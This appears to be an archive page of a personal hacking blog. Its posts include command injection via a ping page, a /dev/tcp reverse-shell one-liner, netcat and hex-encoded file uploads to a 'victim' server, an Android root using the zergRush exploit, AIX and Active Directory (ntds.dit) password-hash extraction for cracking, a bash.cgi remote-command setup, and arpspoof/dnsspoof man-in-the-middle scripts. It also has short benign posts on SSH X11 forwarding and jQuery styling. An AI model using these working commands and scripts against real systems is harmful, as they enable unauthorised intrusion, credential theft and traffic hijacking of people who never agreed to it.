Quick hex encoding of a file in bash/linux

I often find myself in the position of needing to upload a file to a server, via less than normal means.

Command injection on a website would be a good example. Consider the classic example of a site that allows one to ping an IP address.

The site takes an IP address as an GET argument, and executes ping on the server side via the shell. Arbitrary command injection is easily obtained by escaping the initial argument, e.g

http://site.com/pingserver.php?ip=;ls -la

would execute on the server side as

/bin/sh -c 'ping ;ls -la'

While this gives you the ability to run a few quick commands, it is a far cry from a proper shell.

To provide good shell functionality (not just bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), you often need to upload a file,e.g meterpreter or shell.php. Other files, such as local priv exploits, are often also needed in these types of situations.

There are several possible ways of uploading files:

0. Use wget or another file downloading tool to download the file. If can access the Internet from the box on and have an external server with your files ready, it’s as easy as  wget http://file.

1. Netcat the file across

On the victim’s side issue

 nc -l -p 8080 > /tmp/shell &

and then on the attacker side

 nc 10.0.0.1 8080 < myShell

3. Use bash’s /dev/ip redirection:

On the victim’s side issue:

cat  /tmp/shell

and then on the attacker side

 nc -l -p 8080 < myShell

If however none of these options are available, you can always just echo the file and use bash file redirection:

echo ' evil commands here ' > /tmp/shell 
chmod +x /tmp/shell
/bin/bash /tmp/./shell

The echoing of a binary file, or php shell script can give one some frustrating encoding issues. Add a site’s badly written input sanitation, and you’re in for a long night.

You could use curl and base64 encoding (see previous post) to get past the binary encoding woe’s, but often this will not help with the input sanitation.

The best way I have found to counter this is to use hex encoding.

For the quick encoding of a file in hex, the easiest way to go is the hexdump utility. The following script uses hexdump to encode any file to its hex representation:

hexify.sh
cat $1 |(hexdump -v -e '"\\""x" 1/1 "%02X" ""'; echo)

On the victim’s simply side enter

echo -e ' evil commands here ' > /tmp/shell ;

Works brilliantly!

Posted in Uncategorized | Leave a comment

Perma-temp root for andriod

Anything you do, is at your own risk. While this guide is especially written to not have any risk of bricking your phone, there is no guarantee.

This is a tutorial for perma-temp rooting your phone.

Perma-Temp root will allow you to root your phone, without altering the system structure in a permanent way. This is useful if you wish to have root privileges on your android, without the danger of bricking it. This process 99% risk free (read the disclaimer) and to reverse only a reboot is required. To totally remove, you simply need to delete a few files; as such you won’t void your phones warranty (at least they won’t know).

Compared to normal root procedures, Perma-Temp root stops after running the root exploit i.e. the procedure does not rewrite the current working operating system to gain permanent root status.

Android devices use a special technique to prevent any permanent alterations to the file system. (S-OFF and S-ON). As such, even when gaining root privileges, no permanent alterations can be made – all changes made will be lost after a reboot.

Often in the rooting process, busybox will be installed in /system/xbin. Several programs, such as Anti, depend on having the busybox tools installed here.
/system/xbin will be overridden after a reboot, leaving the user running in non-rooted mode without busybox and bash. While less functional, there is definitely an advantage to having a proper shell an the proper tools installed, even if you don’t have root.

The /data/local/tmp directory seems to be the one directory however in which one can store data, which does not get wiped on reboot.

We will take the approach that even if /system/xbin if overridden, the user will still be able to access their shell and tools, as it will be also installed in /data/local/tmp.To this extent ,we will create scripts to initiate and (re)-setup the environment each time the root exploit has been run.

Installation of the Perma-Temp root thus works as follows:

  1. Copy the programs (busybox, su, SuperUser, bash) to the phone
  2. Create and copy the root and initialization scripts to the phone
  3. Execute the script to root your phone
  4. Execute the post-root script to initiate the environment.

Once you have completed these steps, each time you wish to gain root access,
you need to:

  1. Execute the script to root your phone
  2. Execute the post-root script to initiate the environment.

For this tutorial , I’m assuming you’re using some android 2.2 -2.3 phone.

To facilitate this, we need to download and install the adb tool.

  1. Download android sdk
  2. Follow step 4 to install platform-tools such as to get adb

Furthermore, we also need to:

  1. Download the zergRush root exploit
  2. Download busybox
  3. Download Superuser tool
  4. Download bash
  5. Download and install  jackpal’s Android Terminal Emulator (android market).

We are now ready to start the installation process:

  1. On you phone go to Settings-> Applications->Development->USB Debugging
  2. On you phone go to Settings-> Applications->Unknown Sources
  3. Plug in your usb cable and set the connection type to charge only
  4. Run  the following adb commands from the command line:

    adb push zergRush /data/local/tmp/
    adb push Superuser-3.0.6-efgh-signed/system/bin/su /data/local/tmp/
    adb push busybox /data/local/tmp/
    adb push bash /data/local/tmp/
    adb install Superuser-3.0.6-efgh-signed/system/app/Superuser.apk

We now need to create 3 scripts: The scripts will:

  1. Run the local root exploit correctly
  2. Initialize the environment
  3. Ensure graceful failover if the system is not rooted.

The first script we need to create, is really just to run the zergRush exploit, and clean up after it. The zergRush exploit creates files that need to be deleted after it executes, before it can be ran again.

As such, we have

#!/system/bin/sh
rm /data/local/tmp/sh
rm /data/local/tmp/boomsh
/data/local/tmp/./zergRush

Save this file on you computer as root.sh
Now for the second script, which needs to (re)initialize the environment.

What I mean by this is:

  1. Install BusyBox in the /data/local/tmp/bin directory
  2. Copy the correct su and sh (bash) files to the bin directory, overriding the busybox one’s.
  3. Remount all the directories to be writable, suid

For this script,the tricky bit is to find the device paths for your phone.
You need to locate both device paths for the system and the data partitions, e.g. /dev/block/mmcblk0p25 would be my “system” device path.

Run adb shell mount and search for the dev and mount path of both system and data, e.g. “/dev/block/mmcblk0p25 /system ext3 ro,relatime”

Replace these device paths in the following script, and save the script as postRoot.sh


#!/data/local/tmp/bash
mount -o remount,suid /dev/block/mmcblk0p25 /system
mount -o rw,remount rootfs /
mount -o remount,suid /dev/block/mmcblk0p26 /data
mkdir /data/local/tmp/bin >/dev/null 2>&1
/data/local/tmp/./busybox --install -s /data/local/tmp/bin/
/data/local/tmp/./busybox --install -s /system/xbin/
/data/local/tmp/./busybox cp /data/local/tmp/su /data/local/tmp/bin
/data/local/tmp/./busybox cp /data/local/tmp/su /system/xbin/
/data/local/tmp/./busybox cp /data/local/tmp/shell /data/local/tmp/bin/sh
chown root.shell /data/local/tmp/bin/su
chown root.shell /data/local/tmp/bin/sh
chmod 6555 /data/local/tmp/bin/su
chmod 6555 /data/local/tmp/bin/sh
sync
/data/local/tmp/bin/sh

Lastly we need to create a shell initialization script, that will
attempt to escalate to root, and if not successful, still fall back to
bash. This script will also set the correct environmental settings.

Create and save this file as ‘shell’


#!/data/local/tmp/bash

export PATH=/data/local/tmp/bin:/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin
export HOME=/data/local/tmp/

if [[ $EUID -ne 0 ]]
then
echo “Becoming ROOT!”
/data/local/tmp/su -c $0
/data/local/tmp/bash
fi
exec /data/local/tmp/bash

We now need to copy over these scripts, and to do so run

adb push root.sh /data/local/tmp/
adb push postRoot.sh /data/local/tmp/
adb push shell /data/local/tmp/
adb chmod 777 /data/local/tmp/*

Lastly, we need to open the terminal emulator and change its shell settings:

  1. Navigate to Menu -> More -> Preferences
  2. Change the command line setting to /data/local/tmp/sh

We are now done with the setup.

To gain perm-temp root each time, run:


adb shell /data/local/tmp/./root.sh
adb shell /data/local/tmp/./postRoot.sh

You should see something like:

[**] Zerg rush – Android 2.2/2.3 local root
[**] (C) 2011 Revolutionary. All rights reserved.[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.
[+] Found a GingerBread ! 0x00015118
[*] Scooting …
[*] Sending 149 zerglings …[+] Zerglings found a way to enter ! 0x10
[+] Overseer found a path ! 0x000151e0
[*] Sending 149 zerglings …
[+] Zerglings caused crash (good news): 0x401219d4 0x0054
[*] Researching Metabolic Boost …
[+] Speedlings on the go ! 0xafd25711 0xafd395bf
[*] Popping 24 more zerglings
[*] Sending 173 zerglings …[+] Rush did it ! It’s a GG, man !
[+] Killing ADB and restarting as root… enjoy!
bash-4.1#

Open up the terminal on your phone, and you should see a the root prompt.

The nice thing about the setup is even if you don’t have root, you can still use the
busy box commands.

While the loss of root on restart this is not as much fun as perma-root, however this is a no-risk solution.

Update: I had a report that the keyboard on the Samsung Galaxy II’s hangs after running the zergRush exploit. Exploits have a known history of making the exploited system unstable. As the perma-temp strategy depends on the system running the exploit each time to obtain root it is important to find the right exploit for your system.

Else perma-root may be you only option.

Posted in Uncategorized | Leave a comment

AIX shadow file (/etc/security/passwd) to john

If you need to crack an AIX shadow file, kept in /etc/security/passwd, you
will undoubtedly come across it’s silly format. To convert it into standard
john format, I have written this script:

aix2john:
#!/bin/bash
cat $1|egrep ":|password" | sed 's/password = //g' | tr -d "\t " |sed ':a;N;$!ba;s/:\n/:/g'

Works brilliantly!

Posted in Uncategorized | Leave a comment

SSH X11 Fowarding

Setting up SSH X11 Forwarding

I frown upon tightvncserver. It bypasses the PAM stack, uses its own password system (stored in .vnc), and runs as whatever user which called it (often root).

The better, more secure alternative is SSH X11 forwarding. Its simple and easy to setup. To do so, ensure that the following configuration is set on the SSH server to which you wish to connect:

/etc/ssh/sshd_config:
X11Forwarding yes
X11DisplayOffset 10

Restart the server and then connect from your client with by issuing the following:

ssh -X user@server

To verify that the X11 forwarding is working, issue

echo $DISPLAY

You should receive something along the line of

localhost:10.0

Try running a X11 program – e.g. xterm. If it shows up, you’re good to go.

It not, or it’s slow, read the troubleshooting section.

To automate the calling of X11 programs, I added SSH keys, and created a script in my user’s bin directory:

serverX:

#!/bin/bash
ssh -X user@server "$@" 2>&1 >/dev/null  &

Calling an application , such as xterm simply becomes

serverX xterm

Note that to call kde applications, you need to do it via dbus-launch, thus

 serverX dbus-launch kwrite

If have su-ed to a diffrent user, and want to run an application, simply issue the following

xauth merge ~originaluser/..Xauthority

If you want to run an entire session, you can create an X11 Session on tty12 by running:

  X :12.0 vt12 2>&1 >/dev/null &

Run xterm on the session with the following command

xterm –display :12.0

After this, call either startkde or gnome-session  with the serverX script from the xterm:

 serverX startkde
  or
 serverX gnome-session

Troubleshooting

XAuth issues

You may receive “Warning: No xauth data; using fake authentication data for X11 forwarding”

There are several reasons for this error to pop up.

To fix, ensure in the client configuration that the following is present and that the location corresponds with location of Xauth on the server system.

/etc/ssh/ssh_config:

Host *
XAuthLocation /usr/bin/xauth

If the problem still persists, ensure that the server system has X11 installed. If the X11 is installed, run

xauth list

This should list the current authentication data, eg:

server.local:0 MIT-MAGIC-COOKIE-1                    xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
[xxxx::abcd:efg4:xxxx:b435xxxx0 MIT-MAGIC-COOKIE-1   xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
server/unix:0 MIT-MAGIC-COOKIE-1                     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
server/unix:10 MIT-MAGIC-COOKIE-1                    yyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
server/unix:11 MIT-MAGIC-COOKIE-1                    zzzzzzzzzzzzzz1234567zzzzzzzzz

Clean up any stale data with “xauth remove”,

xauth remove server/unix:10
xauth remove server/unix:11

Do this on both the client and server computer for the relevant users.

Issue then on the server

xhost +inet client_ip_address

If after doing all this , you are still unable to connect, alter the connection string to

 ssh -XY user@server

Note that this is the insecure option.

Slow performance issues

If after getting it to work, the performance is sluggish, alter your client configuration to include:

Host *
Cipher blowfish
Ciphers blowfish-cbc,aes128-cbc,3des-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc
Compression yes

Works brilliantly!

Posted in Uncategorized | Leave a comment

Active Directory DC hash extraction (ntds.dit)

This is a write-up for extracting all password hashes in an AD DC.

First we need to extract the databases from the DC, and then the hashes.

Extracting the databases

To extract the required  databases, we want to first create a snapshot of the system. Do the following on the AD DC:

1.    Run cmd with administrator privileges.
2.    Run ntdsutil
3.    Now issue the following:

snapshot
activate instance ntds
create

This should output :Snapshot set {GUID} generated successfully.

mount { GUID }

Browse to the directory as outputted and copy the following files:

1.    Windows\SYSTEM32\config\SYSTEM
2.    Windows\ntds\ntds.dit

Exporting the password hashes

To extract the hashes ,we require two programs:

  1. NTDSXtract 1.0
  2. libesedb

We also need to install python-crypto:

aptitude install python-crypto
unzip libesedb-20120102.zip
cd libesedb-20120102/
./configure && make

After having done so, we can now start with extracting the hashes.

To extract the entire database from ntds.dis, run:

cd libesedb-20120102/esedbtools/
./esedbexport  -t /tmp/out /path/to/ntdis.dis

After having issued this, we need to now extract the hash info.

python NTDSXtract\ 1.0/./dsusers.py \
/tmp/out.export/datatable.3 /tmp/out.export/link_table.5 \
--passwordhashes   /path/to/SYSTEM

This will output all user info , including the hashes. To only limit the output to hashes, we need grep and cut a bit.  Putting this all into a script, we have:

ad2john

#!/bin/bash

if [ -z $2 ]; then
        echo "usage: $0  ntds.dit SYSTEM";
        exit 1;
fi


mkdir ~/tmp/

rm ~/tmp/out* 1>/dev/null 2>&1
cd libesedb-20120102/esedbtools/
./esedbexport  -t ~/tmp/out $1 1>/dev/null 2>&1
cd ../../
python NTDSXtract\ 1.0/./dsusers.py  ~/tmp/out.export/datatable.3 ~/tmp/out.export/link_table.5  --passwordhashes $2  >~/tmp/out 2>/dev/null
grep -A 2 "Password hashes:" ~/tmp/out |grep -v "Password hashes" |grep -v 'Record ID'|grep -v "\-\-" |sort|uniq > allHashes
grep '\$NT\$' allHashes > NTHashes
grep -v '\$NT\$' allHashes > LMHashes
rm ~/tmp/out  1>/dev/null 2>&1
#!/bin/bash

if [ -z $2 ]; then
        echo "usage: $0  ntds.dit SYSTEM";
        exit 1;
fi


mkdir ~/tmp/

rm ~/tmp/out* 1>/dev/null 2>&1
cd libesedb-20120102/esedbtools/
./esedbexport  -t ~/tmp/out $1 1>/dev/null 2>&1
cd ../../
python NTDSXtract\ 1.0/./dsusers.py  ~/tmp/out.export/datatable.3 ~/tmp/out.export/link_table.5  --passwordhashes $2  >~/tmp/out 2>/dev/null
grep -A 2 "Password hashes:" ~/tmp/out |grep -v "Password hashes" |grep -v 'Record ID'|grep -v "\-\-" |sort|uniq > allHashes
grep '\$NT\$' allHashes > NTHashes
grep -v '\$NT\$' allHashes > LMHashes
rm  -r ~/tmp/   1>/dev/null 2>&1

Which will create three files allHashes,LMHashes and NTHashes

Here is an example of NTHashes
Administrator NT$bf10e469f682bde27ca4d80fhhh3bf0b:::
Loser: NT$bf10e469f682bde27ca4d80fhhh3bf0b:::
Loser2:NT$bf10e469f682bde27ca4d80fhhh3bf0b:::

Posted in Uncategorized | 10 Comments

Backtrack 5 on your andriod phone

Installing backtrack on your android phone is a breeze, and quite fun.
Just kidding, it is actually quite complex.

The reason for wanting backtrack on your phone ranges from running metasploit and owning someone via your phone, arpspoofing or wireless cracking, to simply wanting the functionality that comes with  a debian based system.

For this guide, I’m assuming you have already rooted your phone, and installed busybox and bash under some bin directory. I used the perma-temp root method, as described in my other post “Perma-Temp root for android”, so I’ll be using /data/local/tmp/bin as my bin directory.

To get this working fully, I compiled several scripts on the Internet to my liking, e.g:

  1. http://lanrat.com/tag/android
  2. http://forum.xda-developers.com/showthread.php?t=1079898
  3. http://blog.l-lacker.com/security-backtrack-5-on-a-galaxy-s-phone/

This tutorial will show you how to:

  1. Download BT5, extract and copy it to your phone’s sdcard.
  2. Setup 3 scripts to mount, start and stop backtrack
  3. Get a GUI display via VNC

First things first, we need to download backtrack for ARM.
To do so, click the link, click “Backtrack 5”, select “Gnome”, “ARM” and download. Extract BT5-GNOME-ARM.7z, then extract bt5.img.gz, such that you have a bt5.img.

The full bt5.img is simply to large to fit on a fat32 filesystem (It’s 4.3gb, fat32 can only take 2gb max). As such, we will create a separate filesystem for the usr partition.

To do so, run:

cp bt5.img bt5usr.img
 mkdir bt5tmp
 mkdir bt5usrtmp
 mount -o loop bt5.img bt5tmp
 mount -o loop bt5usr.img bt5usrtmp
 rm -r bt5tmp/usr/
 rm -r `ls bt5usrtmp/| grep -v usr`
 umout bt5usrtmp
 umount bt5tmp
 rm -r bt5tmp bt5usrtmp

We now need 3 scripts:

  1. btmount: mount the images, set paramaters
  2. btstart: start a backtrack shell, set paramaters
  3. bstop: unmount and cleanup

As such:

btmount

#!/data/local/tmp/bash
if [[ $EUID -ne 0 ]]
 then
 echo "Becoming ROOT!"
 su -c $0
 exit 1
 fi
echo "Setting some stuff up.."
export img=/mnt/sdcard/bt5.img
 export usrimg=/mnt/sdcard/btusr.img
 export mnt=/data/local/tmp/bt5
 export PATH=/data/local/tmp/bin:/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin
 export TERM=linux
 export HOME=/root
 export USER=root
 export LC_ALL=C
if [ ! -d $mnt ]; then mkdir $mnt; fi
echo "Mounting the Linux Image"
 for i in {0..10}
 do
 if [ ! -e /dev/loop$i ]
 then
 if [ -e /dev/block/loop$i ]
 then
 ln -s /dev/block/loop$i /dev/loop$i
 fi
 fi
 done
mount -o noatime,nodiratime $img $mnt
 mount -o noatime,nodiratime $usrimg $mnt/usr
 mount -t devpts devpts $mnt/dev/pts
 mount -t proc proc $mnt/proc
 mount -t sysfs sysfs $mnt/sys
echo "Setting Up Networking"
 echo "nameserver 8.8.8.8" > $mnt/etc/resolv.conf
 echo "nameserver 8.8.4.4" >> $mnt/etc/resolv.conf
 echo "127.0.0.1 localhost" > $mnt/etc/hosts
if [ ! -d $mnt/mnt/sdcard ]; then mkdir $mnt/mnt/sdcard; fi
 if [ ! -d $mnt/mnt/sysroot ]; then mkdir $mnt/mnt/sysroot; fi
 mount --bind /mnt/sdcard $mnt/mnt/sdcard
 mount --bind /system $mnt/mnt/sysroot

btstart

#!/data/local/tmp/bash

if [[ $EUID -ne 0 ]]
then
 echo "Becoming ROOT!"
 su -c $0
 exit 1
fi

 echo "Setting some stuff up.."
 export mnt=/data/local/tmp/bt5
 export TERM=linux
 export HOME=/root
 export USER=root
 export LC_ALL=C
 export PATH=/sbin:/bin:/usr/bin:/usr/local/bin:/usr/sbin:/bin:/usr/local/sbin:/usr/games
 echo "Entering CHROOT "
 echo " "
 /data/local/tmp/bin/chroot $mnt /bin/bash
btstop
#!/data/local/tmp/bash
 if [[ $EUID -ne 0 ]]
 then
 echo "Becoming ROOT!"
 su -c $0
 exit 1
 fi

 echo "Setting some stuff up.."
 export mnt=/data/local/tmp/bt5
 export TERM=linux
 export HOME=/root
 export USER=root
 export LC_ALL=C

 echo "Shutting down CHROOT"

 export PATH=/data/local/tmp/bin:/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin
 umount $mnt/usr
 sysctl -w net.ipv4.ip_forward=0
 umount $mnt/dev/pts
 umount $mnt/proc
 umount $mnt/sys
 umount $mnt

Save these files, and push them over with adb to your bin directory.
Then execute:

 adb shell
 adb btmount
 adb btstart

You should see the familiar red backtrack shell.
Finally to get a GUI, download from the market andriodVNC,
and edit /usr/bin/startvnc to match your phone’s screen geometry eg 800×400.

The execute startvnc, and connect via andriodVNC to 127.0.0.1 5901.

After setting this up, you can run backtrack anytime on your phone, without help from a computer- simply type run the btmount, btstart and startvnc commands from your android terminal.

Its quite fun to own your friends XP box with metasploit via your phone.

Posted in Uncategorized | Leave a comment

JQuery UI Dialog buttons size

After spending some time trying to figure out *how* to style the buttons of a JQuery UI Dialog, I realized it had to do with the font size.

Add this to you css, below the jquery css for results.

ui-button.ui-widget .ui-button-text{

line-height:15px;
font-size:15px;
}

Posted in Uncategorized | Leave a comment

Apache2 cgi-bin bash shell, and CURL hacking

I came across this  website when looking into how to execute remote shell commands with apache2(cgi-bin)

While the general idea was well presented there, it didn’t go into detail how to setup the web-server server, such that the attack would succeed.

On a  default apache install on debian, you should:

cp /bin/bash /usr/lib/cgi-bin/bash.cgi

To execute remote commands you now need to send from the attacker machine  via HTTP POST commands to  bash.cgi on the victim webserver.
An example script to send via HTTP POST is

echo ‘Content-type: text/html’
echo
uname
id
ls -la /
exit

Now you can do this via netcat or the custom written tool given on the page, but I prefer curl.

Curl is one of those indispensable tools for web-scraping and general web hacking.

To send post data via curl, one would usually use –data”@filename”. I saved the above script as  ‘script’   thus it becomes –data”@script”.

Sometimes, however, it can be a bit tricky to know exactly *what* curl is doing, as in what its actually sending to the webserver.

In the case of sending the commands to bash.cgi via curl, it resulted in an “Internal Server Error”, which is often an indicator that the cgi program did not present the proper headers to Apache. This was confirmed by the error message in apache’s error.log

Premature end of script headers: bash.cgi

As the POST `script` I used did indeed present the correct headers, I suspected that curl was sending the data wrong.

To get some clarity of what curl is sending ,I like using webscarab as an intermediate proxy for the curl requests.
Simply start up webscarab, and  add -x ip:port of webscarab to curl command line.

For example

curl 127.0.0.1/cgi-bin/bash.cgi –data “@script”

became

curl -x 127.0.0.1:8008 127.0.0.1/cgi-bin/bash.cgi –data “@script”

Using this I could confirm that the post data was indeed automatically encoded by CURL.
To prevent this I used the –data-binary switch.

curl   127.0.0.1/cgi-bin/bash.cgi –data-binary “@script”

Works brilliantly.

Posted in Uncategorized | 1 Comment

Distributed cracking with John the Ripper

John the Ripper has been a industry standard for password cracking for
the past decade. While a great application, it’s getting a bit dated.

For example, without some heavy modification, it can’t brute-force past 8 characters,or make use of multi-core CPU’s.

Using openmpi, we can solve the latter of the issues. In fact, after enabling openmpi, one can run John the Ripper across multiple cores across multiple machines via a network.

Lets start with the installation of the master:
Go to John the Ripper’s homepage and download the latest community enhanced versions.

Now we need to install some software. On a standard Debian build, issue:

apt-get install libopenmpi-dev openmpi-bin build-essential libssl-dev

Extract the downloaded file to an appropriate location, such as /opt/john.

From this directory, change to the src directory and uncomment the following lines in ‘Makefile’:

CC = mpicc -DHAVE_MPI
MPIOBJ = john-mpi.o

Then run make to find the correct system for you.
After finding the right one, issue for example:

make clean linux-x86-64

To run John only on the master ,we need to call it via mpiexec, and specify the amount of CPU’s we wish to dedicate.

 mpiexec -n  8 /opt/john/run/./john --test

If you want to run it across several computers, you will have to repeat the above instructions on each machine.

You will also need either a DNS setup, or a configured /etc/host file for the master, listing each computer’s name and IP address.

Then add a mpi user to each machine:

 adduser mpi

and give this user access to run John.

On the master system, while logged in as mpi, generate an ssh key

 ssh-keygen -t rsa -C "mpi"

Copy this key to each node as such:

 ssh-copy-id -i id_rsa.pub  node

On the mater, create a hosts file, specifying each node available CPU’s:

hosts:
master slots=7
node1 slots=2
node2 slots=1

One can then call

john --test

with:

 mpiexec -n 10  -hostfile ~mpi/hosts /opt/john/run/./john --test

To make it a bit more easier, I have created two bash scripts.

The first will call John via mpiexec.

johnmpi:

#!/bin/bash
mpiexec -n 10  -hostfile ~mpi/hosts /opt/john/run/./john $@

The second will display the status of a current running John session

johnmpi-status:

#!/bin/bash
mpiexec -n 10  -hostfile ~mpi/hosts /opt/john/run/./john --status
pid=`ps -e   |grep mpiexec  |cut -f2 -d " "`
skill -USR1 $pid

Works brilliantly.

Posted in Uncategorized | Leave a comment

ArpSpoofing, Sniffing && DNS poising with your andriod phone

If you followed the “Backtrack on your phone” post, you now have
the ability (like any other backtrack system) to carry out arpspoof and dns posing attacks.

I have written 2 scripts, the first to arpspoof the gateway  and a target
machine, such that all traffic passed between the two, will first be sent to you (MITM attack).  The second script is to use dnsspoof to redirect dns requests to reddit.

arpspoof

#!/bin/bash

if [ $# -lt 1  ]; then
        echo "Provide a ip for the target..."
        exit
fi
iptables --verbose -P FORWARD ACCEPT
echo 1 >/proc/sys/net/ipv4/ip_forward
gw=`route -n | grep 'UG[ \t]' | awk '{print $2}'`

arpspoof -i eth0 -t $1  $gw   &
arpspoof -i eth0 -t $gw $1    &
echo "Spoofing....press control-C to quit"
wait

dnsspoof

dnsspoof -i eth0 -f spoofFile

spoofFile

196.33.166.230 *

If you want to , you can use arp on the victim machine, to confirm that the
attack is working. urlsnarf  will show you any url’s while tcpdump will show you everything. ngrep  allows you to grep for specific strings.

Have fun!

Posted in Uncategorized | 2 Comments